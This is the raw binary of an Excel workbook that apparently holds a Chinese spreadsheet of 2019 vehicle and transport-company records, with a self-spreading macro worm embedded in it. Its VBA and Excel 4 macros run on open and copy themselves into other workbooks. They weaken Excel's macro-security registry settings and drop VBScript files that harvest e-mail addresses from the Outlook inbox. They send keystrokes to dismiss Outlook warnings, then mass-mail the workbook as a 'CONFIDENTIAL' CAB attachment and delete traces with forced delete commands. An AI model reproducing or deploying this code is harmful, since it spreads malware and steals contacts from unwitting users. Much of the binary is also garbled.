ࡱ>  " !#$%Root Entry F1[טdD@Workbookk-ETExtData@@Gmdmd 2tP <86m#<di_C(]6QF4jOO7Qܣgx4jOO7Qܣgdi_C(]6QME  ɀ\pĞ?P Ba= ThisWorkbook=Z$8X@"1>Arial1>[SO1>[SO1>[SO1>Arial1>[SO1h>[SO1h>Arial1>[SO1"> N[_GB23121>[SO1>Arial1>[SO1 >[SO16>[SO1 >[SO1>[SO16>[SO1>[SO1>[SO1 >[SO1?>[SO1,6>[SO1>[SO1h6>[SO1 >[SO1>[SO1>>[SO1>[SO15>[SO15>[SO1>Arial1>[SO""#,##0;""\-#,##0""#,##0;[Red]""\-#,##0""#,##0.00;""\-#,##0.00#""#,##0.00;[Red]""\-#,##0.007*2_ ""* #,##0_ ;_ ""* \-#,##0_ ;_ ""* "-"_ ;_ @_ .))_ * #,##0_ ;_ * \-#,##0_ ;_ * "-"_ ;_ @_ ?,:_ ""* #,##0.00_ ;_ ""* \-#,##0.00_ ;_ ""* "-"??_ ;_ @_ 6+1_ * #,##0.00_ ;_ * \-#,##0.00_ ;_ * "-"??_ ;_ @_ \$#,##0_);\(\$#,##0\)\$#,##0_);[Red]\(\$#,##0\) \$#,##0.00_);\(\$#,##0.00\)% \$#,##0.00_);[Red]\(\$#,##0.00\).)_(* #,##0_);_(* \(#,##0\);_(* "-"_);_(@_)?:_("$"* #,##0.00_);_("$"* \(#,##0.00\);_("$"* "-"??_);_(@_)72_("$"* #,##0_);_("$"* \(#,##0\);_("$"* "-"_);_(@_)61_(* #,##0.00_);_(* \(#,##0.00\);_(* "-"??_);_(@_)                 @ @   @ @   @ @   @ @   @ @   @ @ *  @ @   @ @ /  @ @   @ @ +  @ @   @ @  @ @ , @ @ / @ @  @ @ / @ @  @ @   @ @  @ @  @ @  @ @ @ @ @ @ - @ @ @ @ * a@ 0     ff7 @ @ @ @ `@ @   @ @ 0 @ @ 5 @ @ 7 @ @ 3 @ @ 6 @ @ 9 @ @ +   / @ @          8@ @  8@ @ X  8@ @ 8@ @  8@ @ 8@ @ 0@ @  "    !20% - :_eW[r 1!20% - :_eW[r 2!20% - :_eW[r 3!20% - :_eW[r 4!20% - :_eW[r 5!20% - :_eW[r 6!40% - :_eW[r 1!40% - :_eW[r 2!40% - :_eW[r 3!40% - :_eW[r 4!40% - :_eW[r 5!40% - :_eW[r 6!60% - :_eW[r 1!60% - :_eW[r 2!60% - :_eW[r 3!60% - :_eW[r 4! 60% - :_eW[r 5!!60% - :_eW[r 6" #h $h 1 %h 2 &h 3 'h 4(])*}Y +Gl;`,- .{/hgUSCQ  ?lʑ`qMacro1/$ fgbh_0VV"W% DN1 2019t^6gN͑p%Џf(100km/h)f~h:S^:SSN7b Tyfy{|fLrSfLrr!kpeUl>\~wm~nUl>\^~wm~nzfTЏ gR gPlQSe8nSf|N02838ĞrF0N Ul>\^|Џ}lfЏ gPlQSF0N [ЏRlQS [Џsf|N02137W:S Ul>\^|Џ}lfЏ gPlQSUl>\ [ЏRlQS |N03540|ND1513|N02822wm0N wm0N~KNee8nЏ gPlQS|N87259 wm0NSN[fЏ;`lQS|N04593|N05100|N05122 F0N^ؚv}lfЏ gPlQS|N08268|N84498 wm0NSwmm}lfЏ gPlQS|N02253|N02857* b2bcc8^ĉ2&20% - :_eW[r 3eQ2'40% - :_eW[r 3]2(60% - :_eW[r 3 lʑ2$60% - :_eW[r 2h 4 fJTe,gh 5ʑ'`e,gh 1h 22 60% - :_eW[r 1h 32,60% - :_eW[r 4Q{ hgUSCQ@!7  ɀ %,  dMbP?_*+%&` ` ?'` ` ?(ffffff?)ffffff?"W,,??U} I A} $ A} !B} A}  A} $ A}  A} A!kpe,  @ @ @ X@ @ @ @ X@ X@ X@ X@ X@ X@ X@ X@ X@ C MNONNNN D D E D D D DFLLL G H I H H G~ H @ G H I H H G~ H@ G H I H H G~ H@ G H I H H G~ H@ G H J H H G~ H@ G H H H H G~ H@ G H H H H G~ H@ G H H H H G~ H? G H H H H G~ H? G H H H H G~ H? G H H H H! G~ H? G K K" K K# G~ K? G K K K K$ G~ K?$,$tbbbbbbbbbbbb>@<   !7 Sheet1ggD& `smdUmd0BPSLSS6"`"Z<<N0{00020819-0000-0000-C000-000000000046}x(%H` % %%*    H )Xh%h8@TT0W_$*\Rffff*065f57efdd*\R1*#2a9*\R1*#2ad4 "  ( 0@H"  PX\`     ] Ġ ".P "($ALo0  &{0002E157-0000-0000-C000-000000000046} X!8!B@ "(* "($ XA@V "(*oAttribute VB_Name = "ThisWorkbook" Bas0{00020P819-0C$0046} |GlobalSpacFalse dCreatablPredeclaIdTru BExposeTemplateDerivBustomizD2Public WithEvents xx @As App ation fxx.VarHelpIDU-1 P;? Sub _open() P Set)= )On Error ResuNext4:.Disj yAlerJ= iCall do_whaEndC: Axx_w{O!ByVal wb5'& wb@8Project.References.AddFromGuid _ GUID:="BE157 -P, Major:=5, Mi nA3 LL"LLPPLLPLP*L Y@ YB YD( YF`H `J + `  H+j` ` Sil`n`p`+. `  e@v @x `+x `(  oI| @ @~ ( ` xI  I @ @~ 2 `!!  %``` N` @ @ @ ` h ( 0 ` 8  @@x x 8 %p(",.02@@x @t !@p inG.@X` .@\ RENT@L soft@< xcel@, 'Xp@ity\AccessVB@l AL_M@\ osof@X \Exc"T`'P% REG_@P X(H B@@x @t .@d @` B@@\ B@ %X@`%(@pT (@P B@H@L R.TY@H ")Xh(Xp Yx E) XA6$@p =END@` A7$@\ =RET0"@L !@< @P, B@@@( @$ @p @ @ `@ H@ 00@ 00@ 00@( 00@@? t.Sh(.@h T\ma@ and\($OOK.EXE P   "   '0P `hx B  B    "(P B$ X p x      ( 0@HP Xhpx  *  " 0 @ P`h px           ( H`(x        ( "8 `  p  x        B       B L` J H H  `  p      B        * ZH V \ X`     ( H "  PX`  "    .< ( (@!X(x6Y(^r(@!X(x!(! <? 058P B  X`hp "   0bP 02  ( .0 `hpxP    .@ JH ,,  ( " 0&8 `*h 2F$8`h "x"B>0 p2 . 86X 2  @8`2 2@ X &h "&2N0PNJ *p20"T0.4\h,8:bX.PJ@  $ Z 8(!4`!B!>! "8"BH"<"""(". #HP#J##$$ $H$h$>x$D$@%V@%&%@%&R&dh&&*&&'@'(P'x'j'4(&@(h(j(4(&0)X)&x)))0).)H(*Xp*J*.+8H++6++"+,0,8@,6x,0,P,0-8@-x-B->-.(.(8..`.H.P.(/H/$`// / /(/// " 0 0(080 @0*`060F0 1&01X1`1 <p1"1L1(2H2Ph2P2d3p3p3@4v@44P4V 5nx5560777>708JH868&8"8 9&@9 h994969 :8:0P:*:(:x:BP;*;$;;<&(<P<p<  <<<<,<(= 0=  @=P=(X== =$=== >0?8? N@?R?T?T@@>@ 2@LA `A^pA:AB B(B " 0B8B@BHB $XBB BBBBBBBBBB BCC C(C0CHCPCXC`ChCpC B xC2CCCCCCDDD B  D D8D@D XDhDD DDDDDD*D2EPE`EhEB pExEE4E.EF*F HFXF B  `FhFpF*F F F FF "  FGG*GJHGG GG GG GH H0H8H " @HHH`H hH xHHH H@HHII 0I @IPIXI`I pII*IIII&J|(JvJ, K PK `KpK xKK B  KKK K K KK&L0L$8L"`LLLLLL L LL "($jtj !& "!(\O "(*N1A,A.$0!Macro1G A@2j B@4ndo "(*NHEkXoP@]" ThisWorkbook !8%:!<#Public WithEvents xx As ApplicationC@>Private Sub Workbook_open()C@>Set xx = ApplicationC@>On Error Resume NextC@>!Application.DisplayAlerts = FalseC@> Call do_whatC@>End SubC@>*1Private Sub xx_workbookOpen(ByVal wb As Workbook)C@> On Error Resume NextC@> %wb.VBProject.References.AddFromGuid _C@> GUID:= 6&{0002E157-0000-0000-C000-000000000046} 6, _C@> Major:=5, Minor:=3C@> "Application.ScreenUpdating = FalseC@>!Application.DisplayAlerts = FalseC@> copystart wbC@>!Application.ScreenUpdating = TrueC@>End SubC@>qo]]] !8.@ ThisWorkbook @%:.B B!<.F F5JC@Hqox8 !& "!(A@NAPARATk0i(]]k4.xls$`!8.\ X!8.^ToDole \ ^$bGzji  0]](]@]X]p]] f'bz0k( d$x z'bzk h'bzk f!| ~'bzk h!| ~'bzkx d f%:.B !'bz@k8Temp$\ d.bas'l j l    $~ z B@ lA@ !'bzkk h!: d7C@qXdP B@ d h%:.B ! ! d'bzkkk l d f%:B@ l\$'r l.$'t l r t r  $'n.B n h%:.B B l h!:B@d B!l  l h!:%.v B!<5JC@H v!<!J v!<%'p pC@>q v h!:B@k`kX lA@'bi8]]  !' "!(\k4.xls'k4.xls$ !& "!(Gk4.xls$`B@Bjcomspec$  /c attrib -S -h " "!(\K4.XLS" A@comspec$  /c Del /F /Q " "!(\K4.XLS" A@comspec$  /c RD /S /Q " "!(\K4.XLS" A@ !& "!( "(* (  B@ ( "(*kHi@8]]]( "!'scRiPTinG.fiLEsysTeMoBjEcT$.,HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\AccessVBOM',HKEY_CURRENT_USER\Software\Microsoft\Office\ \Excel\Security\Level'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\AccessVBOM'-HKEY_LOCAL_MACHINE\Software\Microsoft\Office\ \Excel\Security\Level'''   REG_DWORDA   REG_DWORDA   REG_DWORDA   REG_DWORDAi@] WScript.Shell$.    B@dP    B@k0.o ]h X%0B@H l 0B@Macro1 (A2$B@H =ERROR(FALSE) (A3$B@H=IF(ERROR.TYPE(RUN(" "!"))=4) (A4$B@H=ALERT("ú꣬ر $  $Please Enable Macro!",3) (A5$B@H=FILE.CLOSE(FALSE) (A6$B@H =END.IF() (A7$B@H =RETURN() (  X!0 !!Auto_Activate =Macro1!$A$2 X!B@  X%(o'  "%`! 'z`kXPiH]10:00:00 ]11:00:008]14:00:00P]15:00:00h] WScript.Shell$.,HKEY_CLASSES_ROOT\mailto\shell\open\command\ %$ OUTLOOK.EXE G|j        D:\Collected_Address:frag1.txt$1| d 1D:\Collected_Address:frag1.txtA@A@k d G|j   n $    n $ | d n $ '  D:\Collected_Address:frag2.txt$X'  n $  D:\Collected_Address\log.txt$|` dX D:\Collected_Address:frag1.txtA@ D:\Collected_Address:frag2.txtA@A@k k k o ] 8Ph scripting.filesystemobject$. WScript.Shell$.E:\KK %GE:\KK B@j ! ! $ _$._$'E:\KK\  _clear.vbs'  '   On error Resume Next Dim wsh, tle, T0, i  T0 = Timer  Set wsh=createobject("wscript.shell")  tle = "Microsoft Office Outlook" For i = 1 To 1000 $ If Timer - T0 > 60 Then Exit For  Call Refresh()  wscript.sleep 05  wsh.sendKeys "%a"  wscript.sleep 05  wsh.sendKeys " {TAB}{TAB}"  wscript.sleep 05  wsh.sendKeys "{Enter}" Next Set wsh = Nothing  wscript.quit  Sub Refresh() *Do Until wsh.AppActivate(CStr(tle)) = True $ If Timer - T0 > 60 Then Exit Sub Loop  wscript.sleep 05  wsh.SendKeys "%{F4}" End Sub VE:\KK\  _Search.vbs'" ' "  On error Resume Next Const olFolderInbox = 6 $Dim conbinded_address,WshShell,sh,ts #Set WshShell=WScript.CreateObject("WScript.Shell") Set objOutlook = CreateObject("Outlook.Application") ,Set objNamespace = objOutlook.GetNamespace("MAPI") <Set objFolder = objNamespace.GetDefaultFolder(olFolderInbox) Set TargetFolder = objFolder conbinded_address = "" !Set colItems = TargetFolder.Items wscript.sleep 300000 WshSHell.Run (" wscript.exe  "), vbHide, False  ts = Timer For Each objMessage in colItems & If Timer - ts >55 then exit For M conbinded_address = conbinded_address & valid_address(objMessage.Body) Next add_text conbinded_address, 8 )add_text all_non_same(ReadAllTextFile), 2  WScript.Quit  +Private Function valid_address(source_data) T Dim oDict, trimed_data , temp_data, i, t_asc, header_end, trimed_arr, nonsame_arr  Dim regex, matchs, ss, arr()  Set oDict = CreateObject("Scripting.Dictionary")  Set regex = CreateObject("VBSCRIPT.REGEXP")   regex.Global = True  regex.Pattern = ",\w+([-+.]\w+)*@\w+([-.]\w+)*\.\w+([-.]\w+)*" * Set matchs = regex.Execute(source_data) % ReDim trimed_arr(matchs.Count - 1) 3 For i = Lbound(trimed_arr) To Ubound(trimed_arr) / trimed_arr(i) = matchs.Item(i) & vbCrLf  Next  3 For i = LBound(trimed_arr) To UBound(trimed_arr)  oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) ; valid_address = valid_address & nonsame_arr(i)  Next  End If  Set oDict = Nothing  End Function  0Private Sub add_text(inputed_string, input_frag) 5 Dim objFSO, logfile, logtext, log_path, log_folder  log_path = "D:\Collected_Address"  Set objFSO = CreateObject("Scripting.FileSystemObject")  On Error resume next 1 Set log_folder = objFSO.CreateFolder(log_path)  $ If objFSO.FileExists(log_path & " \log.txt" ) = 0 Then 7 Set logfile = objFSO.CreateTextFile(log_path & " \log.txt", True)  End If  Set log_folder = Nothing  Set logfile = Nothing   Select Case input_frag  Case 8 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 8, True, -1) & logtext.Write inputed_string  logtext.Close  Case 2 8 Set logtext = objFSO.OpenTextFile(log_path & " \log.txt", 2, True, -1) & logtext.Write inputed_string  logtext.Close  End Select  set objFSO = nothing End Sub  "Private Function ReadAllTextFile()  Dim objFSO, FileName, MyFile  FileName = "D:\Collected_Address\log.txt"  Set objFSO = CreateObject("Scripting.FileSystemObject") < Set MyFile = objFSO.OpenTextFile(FileName, 1, False, -1)  If MyFile.AtEndOfStream Then  ReadAllTextFile = ""  Else ( ReadAllTextFile = MyFile.ReadAll  End If set objFSO = nothing  End Function  *Private Function all_non_same(source_data) ( Dim oDict, i, trimed_arr, nonsame_arr  all_non_same = ""  Set oDict = CreateObject("Scripting.Dictionary")  * trimed_arr = Split(source_data, vbCrLf)  3 For i = LBound(trimed_arr) To UBound(trimed_arr) ! oDict(trimed_arr(i)) = ""  Next   If oDict.Count > 0 Then  nonsame_arr = oDict.keys : For i = LBound(nonsame_arr) To UBound(nonsame_arr) B all_non_same = all_non_same & nonsame_arr(i) & vbCrLf  Next  End If  Set oDict = Nothing  End Function V & "($ wscript.exe " * B@(.o]  ]8 P .', WScript.Shell$.scripting.filesystemobject$.E:\SORCE %GE:\SORCE B@j ! ! $ _$._$'*  *Message*'0 E:\sorce\ _Key.vbs' '   .Dim oexcel,owb, WshShell,Fso,Atta_xls,sh,route On error Resume Next Set sh=WScript.CreateObject("shell.application") sh.MinimizeAll Set sh = Nothing Set Fso = CreateObject("Scripting.FileSystemObject") %Set WshShell = WScript.CreateObject("WScript.Shell") If Fso.Folderexists("E:\KK"!) = False Then Fso.CreateFolder "E:\KK" Fso.CopyFile _ WshShell.CurrentDirectory & "\ *.CAB", "E:\KK\", True For Each Atta_xls In ListDir("E:\KK")  WshShell.Run "expand " & Atta_xls & " -F:  .xls E:\KK" , 0, true Next If Fso.FileExists("E:\KK\ .xls" ) = 0 then - route = WshShell.CurrentDirectory & "\ .xls" 7 if Fso.FileExists(WshShell.CurrentDirectory & "\ .xls")=0 then # route = InputBox(" Warning! " & Chr(10) & "+You are going to open a confidential file." & Chr(10) _ " & "%Please input the complete file path." & Chr(10) & "#ex. C:\parth\confidential_file.xls", _  " Open a File" , "$Please Input the Complete File Path", 10000, 8500)  End if else  route = "E:\KK\ .xls" End If  set oexcel=createobject("excel.application") ' set owb=oexcel.workbooks.open(route)  oExcel.Visible = True Set oExcel = Nothing Set oWb = Nothing Set WshShell = Nothing Set Fso = Nothing  WScript.Quit %Private Function ListDir (ByVal Path) ( Dim Filter, a, n, Folder, Files, File  ReDim a(10)  n = 0 " Set Folder = fso.GetFolder(Path)  Set Files = Folder.Files  For Each File In Files  If left(File.Name, ) = " " and right(File.Name,3) = "CAB" Then 4 If n > UBound(a) Then ReDim Preserve a(n*2)  a(n) = File.Path  n = n + 1  End If  Next  ReDim Preserve a(n-1)  ListDir = a  End Function V !& \TEST.txt' '    E:\sorce\ _Key.vbs  E:\sorce\ .xls V "(*A@2 E:\sorce\ .xls B@A@N$L' 4 !&$A@6#"C:\" !&A@:comspec$  /c makecab /F " !& \TEST.TXT"J /D COMPRESSIONTYPE=LZX /D COMPRESSIONMEMORY=21 /D CABINETNAMETEMPLATE=../ .CAB * B@( " !& \TEST.txt %8 !& \setup.rpt %8 !& \setup.inf %8 !&\ .CAB %8aA@comspec$  /c RD /S /Q " !&\disk1" * B@(comspec$  /c Del /F /Q " !& \TEST.txt" * B@(comspec$  /c Del /F /Q " !& \setup.rpt" * B@(comspec$  /c Del /F /Q " !& \setup.inf" * B@(comspec$  /c RD /S /Q E:\sorce * B@(E:\KK %GE:\KK B@jcomspec$  /c MOVE /Y   .CAB E:\KK" * B@( 4A@: ,  Dear all, <  <FYIE:\KK\ .CABA:comspec$  /c RD /S /Q E:\KK * B@(. "(*o=h ]H ]` G|jOutlook.Application$.H N H%L.J J @9@ B9B >9h D9P F5RB@9Tq =V=X= JB@Z[ setforth A@A@A@%s^A@\A@X<V<.H.Jo<x Win32_Process WinMgmts:$b%d.`' f ` f!hOUTLOOK 'y<k;;i; ] 0 H 'j lGzj l   l j$$ 'j zP;kH; l 'nA@4  r n  t   'p t p G j$$ t p 'jj t p 't:i:` ]   '.D:\Collected_Address\log.txt$ <$z'v v v  $j$$$z'x  x .; $xX $v'. i9 9]H ` scRiPTinG.fiLEsysTeMoBjEcT$. | %.~ ~!' ~B@Bi9x 8]  scRiPTinG.fiLEsysTeMoBjEcT$.   $ %G   $ B@j  %8  %.~  ~B@ ~B@Bd8  %.~  ~B@ ~B@Bk7o7( ]h   ] "(* "($p7  ! ( !!$z# Auto_ActivateG B@j7  !0 !Macro1  ( B@k66$0B@H 0B@  !0 !$0!G  (j06 r ' r '** CONFIDENTIAL! **  +Use "$ ! ! $_key.vbs"$ To Open This File.  + "$ ! ! $_key.vbs"$ ļ.  +  $  $$5(5(q4 "(*op4 ](@X@4 !' "(* "($  !0 !Macro1G  (j3 A1:F15 $0% ! CONFIDENTIAL 'yh3k`3X3 G $0B@j "(*i 33YAttribute VB_Name = "ToDOLE" PrivalSub auto_open() Application.Display@Alerts|False If ThisWorkbook.Pa@th <> tS@tartupT@hen creenUpding[ Call delete_tf_wk<copytowxSheets0(1)."M@acro1"Sen Movem4 [ cSavnSTruEnd If   Rjonst @DQUOTEv"3?Wi BVBProject.VBComponenn" ").CodeModuBlF.InsLines 1, P"Pub Ev xx As_@ 2 vE 3 Set=4 On Error Resu@Next5  6 o_wtha7h8Ixx_OByVal wbkAMB) 9!7120 wbtvReferences.AddFrom@Guid _M1AsGUID:=" && "{0002E157-u0CB0046}k, >Major:=@0Min!3={ϒw?: XaAAhs!`0 >atACw!dxxKx8Dim`8BVBIDE: v?xw')y jC = s(#%A7aj!! $ .DBuntOf'(Func d#r&Є@_`(cDataaInvoke_a!8 7n. toreAft{8(s #0.@NumberQ0!09=vironQ2")"\HMᐜ.baso y?H= ь+ s$DHir(", .orm+HiddϡSystem)0pّ30CleargKi B%0q928ҋ9*ӛ.Rem .I !E"q1 :)Iǁ8Q+= 9?8  Else 0 copymodule = Fa Exit Function End If&   FromVBProject.VBComponents(MName). Exporpile:=FBGSlashPosInStrRev(#, "\")Ext.ǁ?-#Mid!.0+ 1,}#- 1 - 11Fet e#Nothing To}B *DIf)Is * The(.I@U O KF.Typvbext_ct_Docum@f/6ES@?TempF@%CY:KWith?.Code.DeleteLinesAj untOf S@g*H. (zCo-/.Insert=!SA4KOn Error G`oTo 0 VPRemove )  iKill g}Tru@{ e Microsofthobby(`Attr`ibutel`y_AzcDataaInvoke_! ."8" Dim myf`z0 As vdMyFG#ResP RNR =RisWorkbook.Full = Applica.StartPupPaJ&k4.xls _e@Open("$)d AThH  s s' . CloseŪShe1Environ$("coms@pec")  /c a+ -S -h """9K4.XLS, vbMini@mizedF ws g /F t/Q? \? NRpD /S 3 > @62= )cr@eenUpd Dng T IsAdxdin@ce"~*SaveC``ZOdr) Zgsvt!WDoorsU99p9Fso, RK1'8234=KValue2Variant, 34VSa>xt 0 0 Tha';TruExith4xIf =A:} AJudge() Const T1~D= "P10:0"2U 1 3 4 4 5Dim S`entTib, Wshvll.SetCCre(Object("WScript.B "2@^Not In@t(UCase(.RegRead("HKEY_CLASSES_ROOT\mailto\s@hell\o@\command\")), "OUTLOOK.EXE"Gk c@T)@1>=R@<2 Or @J 24~ @(Ou7D:\Coll:ed_Address:frag`1.txt!i"ϊAH% EC@PFi"1"7\Asearch_in_OLH2bif_outl_U+ ( G TLh#A("n10,e)G) TJ4>)#'6M#FQ= -21, Now L! ˀt X% C (;2; & y+w <= 2# b$ \loggHPH l%cmI JI`,9R#i,"Cab_ dMyISBU`Gadx )]aiInteger, Att+@ddVbsbkʢListfs gኦLResuC䡢l= #'s¡@.f{systemob_I @Mfs.Folderexs("E:\KKbzKc  $= Replace`Left(Thisݒp,rsn) - 4qX %t_".@&_c{rPb\" "&6& ".vbs (i`Free1 vFFF0~Xput0scaW Wri@#iPnt #i+peBx`#wsh, tle L;i  T0;P Pr=c#o3("""wc.k4) @ Mi@soft Office ?PAZQ1 Ў1000bkR p > 6㌓^Call !f m h( leep 05p.sendKeys $ %a P  Uh{TAB~}BOO @O{E`Cr}A=[w `th=U quitub#*Do Until qA(CStr("))+aSIfr RaLoop=% s_2[z{F4?7t[`Close (i0s@\ @A"b@ж@0A"An A'f'olSSInhbox 6QCc@onbind`ac,E,DtLxF#={bsC۳38FA бn.T. 1ssp`.GetÒMMAPI g=zDefault(J_ TargeS ~ e 1 colIPxsI.B23VVaH0.Run _exe opo ysvbg{tB pgQ/Each1MPpage i|n K2a`>55 t `o  R conbinded_addr@ess = & vali(objMage.Body)" Print #i, "Next "_t*, 8*all_non_same(Re@adAllTCFile), 2 6WScript.8Qui { 'vate Function lsource_data jDim oDict, trim emp, t_asc, hYer_endarr, ;ii_ M0regex, matchs, sb(GSetGCrejObject(""" & "ing.Yuxary &BVBSCRIPT.REGEXP3B.Global!TruePa`ttern \w+([-+.]1)*@D\.D NHQ"Execute(y 0 Then(h$b.keys,c3C ʠ}&{`# !@ End i|Nothyke+Sub (in"pad_sUng_frag/\bjFSO, logf _path#folder `&$FD:\CollAЅIJʠB!ASysf#D On E rr`w ume nA .cFb(el  ].Existsch\ .tl8b$a2% , Y?) "AV)/ _P/e1! Cpase B*B)n ?0$t= dOpen_r@, -_ÀA.Wrik5_ S5Clos_q' \ SO. 9O%00 $ t:C s %Ss!%5>nN "ub.̣ M9N@, My?6Lss<1y.At`OfStPmyqse=] Ee߰D_!Ȋ%ngQta{^%а %s@i2q NL$k Ǭ`Split, vB_HPYߧ`#). /...آ0sE eq l!_N Next" Print #i, " E nd IfSet oDict = Nothing FnFunction2Close (i) A@pplica0.WindowStatexlMaximized WshShell.Run ("wscript.exe& AddVbsFile_search), vbHide, False N E Sub v{ CreatCab_SendMail(VDim i As Integer, At tName Stg E ListQ ress_&l 4fsObject, ]? dd= get_texn_a izjea("WS"o:=~ [u.f@Xsyste mo% If fs.Folderex1s("E:\SORCE")Z` Then ;  3R= Replace(Left(ThisWorkbook.\, Len) - 4H" "_". m@r_sub%"*" @D & "*M@bag UBou`nd(a)cPerve a(n*2Arn + 1/ 8@}B/ -1/ d}0a )ddq z b\TEST.t㟰 ԡ#PK_aX>~ H砦@eenUpd0n&g" гto`reBefPA SaveC? Q̟ Af<c c4$1ChDri'%, ,'"C:\@ir`)1,Environ$("com0spec /c makeca0b /F~& \"\TEST.TXT""" & " /D COMPRESSIONTYPE=LZX XMEMORY=21\ABINETNAMETEMPLATE=../AttName.CAB", vbHide, False Do Until fs.FileExists(ThisWorkbook.Pa thCtxt") _ And"5setup.rp6+3inf+5z)rEvents@ Loop{WshShell.Run Environ$("co`mspec:c RD /S / Q disk12Del /FA_"ryGlNzFiE:\sorce QIfBoldereC" KK@{= ThenA CreateF  D %YMOVE /Y@&  C:ChDir c4$ Call Massive_SendMail(Address_lt, , "Dear  ,_vbCrLfuF"FYI# w\4f_ac.`Set e = Nothing`pplication.ScreenUpdDngTru`ESubuPriv1 "Em#_#$,jecBt BodyCC_ebadd #achm$@ Dim objOL As Ob itmxNew!0J if_outl_opGbHt!a! = Lc H("O.A""WdH=.Item(olAD Wi'.(A-$hA&sTo`,CCi,hg-s. 4Vd/eteAftermit C@@aOrror Gotco@nEd: .playDebug.Int "`for$"oD Keys "%s@jWait:=gKB D?i!11 Func4(()a+Boolean s Get'WinMgmts:").InstancesOf("32_Pros!).S F0E) Inav 2InStr(p/.DescripQ `KOUTLO"OW> 0W O34 If NextyBRadomNine(leng>Integ\err H !@jFj, ki""#$<= c @:V1E i1 `-$$[id KU = t / 10Ran0izW[ k `(RY* (@* i - m01)) + 1T mk <> t  m/ `get_ten_]q.UAslea_arrAlPApSpkt(Read@[("D:\Collfed5h\loaQK`{sscRiPTinG.fiLEsysTeMoBjEc>Tsaͱ@.O@za(5 , 1D, -a q.!All*.Cloԟg 3ragMark, pathfONO‰OQ}("OM@:㭤 Left(, Lena(10  a A0 `It_Q1" e 2Write FdE AEr1"i"b" U End If pSub Private Resto reBefSend() Dim aa As Name, i_rowInteger"col"fsht&Object Application.ScreenUpdng = False #DisplayAlerts"On ErrorumeP Nex\FEachIn ThisWorkbook.s  aa.Visible(TruC9 If SOt(r"!")(1)"AutoP_Act".en3.Delet @{ AShee>tA5K.Macro1+RSxl@`F8_.SR.Add FK *<> ICB+eryHidden C$C=t((15 * Rnd) + 1Yi_6Cells(De** CONFIDENTIAL!b " H 2I Use " & Chr(34)A@Left(Ί, Len) - B "_key.vbs @po OpA File .$3 $$1V$ ļ"With Ranger(*, t'3"L.Font.BoldVhgColo@rIndex3?cőFun noneAfter+EN, del_rngfragBooleaO`{e"[br?l$ l") Hm?ck& ytd).c>"A1:F15"9 InStr(.Valu"i") > 0| *= 5xit \(`%x$ x d \W< :L ]@)x\5<V=[x x $ " x$ x xP,$ $tpx\<,F\`:d %tx$ Xx \t ` ,Q\X)xt`X <X <X <X <X <X <X <X < X < X <9*#T*#P*#L*#H X <2TPLH X < X <X <!X <"X <X <cX4(X,TPLHxt`\l$ XQlx'X:\ %lx \l QXtllt ,Qlp lpTPT 8lPT @cT,4TtxplX0 8  0   0 0  0   0 8  0 @  x l xK.\(`%px p d \#)p\<\ `%',%'<%'L%p$ p ( )p\ :` %p$ @p p(p'L%:`$%$ pp!:`%%p$ (p,p(p'L%:`&%$ ppY'( p$ p Tl(*#$(*F%\$ (\,2($)p\5(p'L%:`)%$ ppr:`*  + ,  +:L-%p$ (p,p6(p'L%:`.%$ pp!:`/%p$ (p,p(p'L%:`0%$ pp!:`1%p$ (p,p(p'L%:`2%$ pp!:`3%p$ (p,ppx Qp[tt=?tW :`4%:<5%f%px pp6 tu5L%\(`%px p d \6)p\x4xt8 ($p\0   0   0   0   0 h   0 x  0   0 `  0   0 x   0 (  0        rU $`$`$`$`a,!`aqDI`a )0==#$q`a$`a0` Yq0/0, `q( `0$9 `$a `$ `<`)Ai00000$`(`&$)`(Q`/,y`//$`$`n0* pHd VBAProject4@j = r W_ J< rstdole>stdole h%^*\G{00020430-C 0046}#2.0#0#C:\Windows\syst em32\e2.tlb#OLE Automation`EOffDicEOficEE2DF8D04C-5BFA-101B-BDE5EAAC42Egram Files\CommonMicrosoft SExcel4MacroSheetsɷ`Visible`xlSheetVeryHidden` WorkBookName+`WorkBookNotOpen`T1*_`T2+_`T3,_`T4-_`SentTime!D`WshShell0`UCase5 `RegReadw`Time`ReadOut` CreateFile` search_in_OLe`if_outlook_openi`DateAdd/6` timeErrorӋ`CreatCab_SendMailT@`i``AttName` AddVbsFileVg` AddListFile`fsF]` Folderexists ` CreateFolder`Replacef`AddVbsFile_clear͸`AddVbsFile_search` WindowState|` xlMaximizedZp`Run_`vbHideW` Address_listQ`get_ten_address``mail_sub`RestoreBeforeSendq+`c4\`ChDrive%` FileExists`Massive_SendMail`vbCrLf` Email_Address`SubjectRP`Bodyl` CC_email_add` Attachment^6`objOL` itmNewMail6` CreateItem~` olMailItem`CC\` Attachments_`DeleteAfterSubmit`continueT` SendEmail`display`SendKeysN`Wait`objs` GetObjectz` InstancesOfr`obj` Description ` RadomNine`lengthY`jj]`kb`RndR`md`singleAddress_arr `krr`Split)`FullPath+`FileTextg|` OpenTextFile`ReadAllU`FragMark)O`pathf; `aa{\`i_rowz,`i_colx`Deletex`xlSheetVisible`Cells`FontU`Bold` ColorIndex`del_shtv`rngU`del_fragy`_Defaultj`xx_` Workbook_open`xx_workbookOpenPZ` References` AddFromGuidA{`GUID`Major'`Minora` Worksheet` _B_var_Chr\;`l6"0hared\OFFICE11\MSO.0DLL#M 1@1.0 Ob LibraryK VBIDE>BIDEE157R5.3R/King,\WPS $\10.8.2.@6990\oBP6\vbe6ext .o[0Visual Basic for Applicas Extensibilpity ,6ThisWorkbookG TisWArkboU 2 THB1B,!m"B +BSheet1GS@#et1H2N!±ToDT@;DOL{C'IV ] !bting! `delete_this_wk}`copytoworkbooke`Sheets `K*yrU Say *\G{000204EF-0000-0000-C000-000000000046}#4.0#9#C:\PROGRA~1\COMMON~1\MICROS~1\VBA\VBA6\VBE6.DLL#Visual Basic For Applications*\G{00020813-0000-0000-C000-000000000046}#1.5#0#C:\Program Files\Microsoft Office\OFFICE11\EXCEL.EXE#Microsoft Excel 11.0 Object Library*\G{00020430-0000-0000-C000-000000000046}#2.0#0#C:\Windows\system32\stdole2.tlb#OLE Automation(*\G{2DF8D04C-5BFA-101B-BDE5-00AA0044DE52}#2.3#0#C:\Program Files\Common Files\Microsoft Shared\OFFICE11\MSO.DLL#Microsoft Office 11.0 Object Library\*\G{0002E157-0000-0000-C000-000000000046}#5.3#0#C:\Program Files\Kingsoft\WPS 